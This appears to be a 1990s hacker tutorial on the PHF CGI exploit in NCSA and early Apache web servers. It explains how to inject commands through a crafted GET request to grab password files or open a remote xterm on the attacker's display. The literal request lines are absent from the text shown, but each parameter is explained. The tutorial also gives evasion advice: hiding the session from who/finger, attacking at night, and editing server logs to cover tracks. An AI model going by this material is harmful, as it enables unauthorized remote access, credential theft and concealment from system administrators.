The PHF Exploit
by fencer (fencer@privateer.org)
PHF is probably the most common way that the newly-modemed have of obtaining password files off of systems on the Internet.
The fact that this exploit is so widely known would lead the uninitiated to think that no site in the world would still be vulnerable to it. Ha. Most webmasters, if a site even has one, are too stupid for words. Plenty of sites still have PHF sitting in their cgi-bin directory, and it's still set a+x.
PHF and You
Once upon a time, some bright soul who was working on the NCSA HTTP daemon project had the bright idea of including Common Gateway Interface (CGI) clients in compiled format in the base install for NCSA.
Now, to be fair, they also included the sources in the cgi-src directory, but that's more of a joke than anything else because so few people touch the sources they might as well have not bothered.
NCSA being free, a fracking lot of sites use it. But NCSA had some drawbacks.
One serious one was that, using the right browser, you could force it to break server-root and give you point and click read-access to any file on the server, including the /etc/passwd file (don't get a raging erection, this was patched over a year ago).
Along came Apache, a newer, better, more secure and yet still free HTTP daemon. Apache is NCSA, but on steroids. It's really called "A-Patch-E" as the authoring crew likes to say it. All they did was steal NCSA and fix some kinda broken bits.
Well, that and they said it was more secure. But, as I am sure you have figured out by now, they left the PHF CGI in the cgi-bin directory and left it a+x. So much for more secure.
PHF, by now I am sure you are wondering, is a nifty little util that, when set up properly can do several things. It's most commonly used to parse files for display to a browser hitting a site. That way a straight textfile, say something produced by a database generator or a report generator, can be used as-is, without HTML formatting.
With the perms set properly, PHF can be invoked from within a site, by the HTTP daemon, and provide a delivery method that doesn't require operator intervention. So all in all it is a pretty useful tool.
Now, if you were to set up the cgi-bin directory so that any request could execute, whether it originates from an HTML document on the server, or is part of a request coming to the server, that creates a few problems and a major hole.
Snag a Password File
I was sitting at my nifty little (lie, it's big) Sun 3/160 X-Terminal (boots off a Linux box too), thinking about PHF when it dawned on me that, if I could execute cat to grab a passwd file, why couldn't I execute something else. Like, say, xterm?
So, I started tinkering with the exploit example and then, when I was comfortable with the result, had to hunt for somewhere to test it. Yes, I found someplace to test it.
In my example, we'll take a Linux box running any version of Apache before 1.2B.
Example of Exploit
This should be all on one long line, by the way.
What I did was open a Telnet session to port 80 on the target machine, paste this line in, and hit Return twice. If you hit Return only once, the Telnet session stays locked open, and if you kill it, your bogus xterm dies with it.
Hit Return (for you people using PCs that would be the "Enter" key) twice, fast. It sends the command and terminates the original send so that you get a nice bogus xterm without leaving an open Telnet to port 80 which can show up if a nervous admin looks for it.
Prior to running the exploit, I added the target system to my xhost base so that the xterm would be accepted on my X-Terminal. If you forget to do that, you'll be waiting for a long long time for that window to pop up.
If you take apart the exploit above, it's fairly easy for you to use it to run other programs or even daemons on the target system.
The GET request is pretty obvious, as is the HTTP/1.0 on the end, so don't worry about them.
The &Q commands (Qalias, Qname, etc.), are fields that PHF is expecting to see and so must be tacked on. But they won't change no matter what command you are executing.
So let's look at the meat here...
After the Jserver statement we are telling it to trigger /usr/X11/bin/xterm (the xterm program). Then we give it a space (%20) and the -ut flag so that our xterm doesn't show up when someone types who or finger on the target machine.
After that, another space (%20), the -display switch so we can tell it where to send that xterm, and the machine we want it displayed on.
That's it. It was a lot simpler than I thought it would be.
The first time I tried it, I thought it hadn't worked (it was on a .jp system and I forgot about the long lag). So I was mulling it over when the xterm popped up on my screen. I happily upgraded the failure flag to success and started playing with other OSes.
Here's an example of a Solaris box as well, just to get you started:
Now obviously, the best time to try this out is around 1 or 2 am local time to the system you are hitting (for you Marines, Mickey's big hand is on the "12" and his little Hand is on the "1").
This is going to add a line to the access_log in /usr/local/etc/httpd/logs so after you get access this way, edit the log, then kill -HUP the server. Yes, you can do that.
Your bogus xterm is the same user level as the HTTP daemon. It's a matter of survival, folks. You really need to clean up after yourself.
In closing, I would like to mention that the Sun 3/160 X-Terminal I am using boots SunOS and runs X11 off of a Linux XDM server. If any of you are interested in doing that, email me and I'll send you the necessary daemons and point you at the place to get the most current version of the install package for it.